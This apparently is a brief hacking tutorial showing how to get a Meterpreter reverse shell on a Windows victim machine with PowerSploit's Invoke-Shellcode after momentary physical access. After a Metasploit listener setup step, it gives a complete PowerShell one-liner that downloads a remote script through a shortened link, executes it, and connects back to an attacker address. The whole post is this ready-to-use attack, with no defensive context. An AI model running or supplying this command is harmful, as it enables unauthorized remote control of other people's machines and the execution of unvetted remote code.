If you get physical access of machine for very small time & you want to get shell then you can use invoke-shellcode powersploit function. Powershell must be installed in victim machine to use this utility. For more details you can visit this link . I just want to give demo how to get shell using powersploit.
First in metasploit start listener . Invoke-shellcode function support windows/meterpreter/reverse_http & windows/meterpreter/reverse_https ; so in listener set any of those payload.
Now on victim machine open powershell prompt ; & put following code in powershell prompt
IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’); Invoke-Shellcode –Payload windows/meterpreter/reverse_http –Lhost 192.168.56.101 –Lport 443 –Force
Note: Change Lhost , payload & lport according to your listener.
And bingo you will get shell.

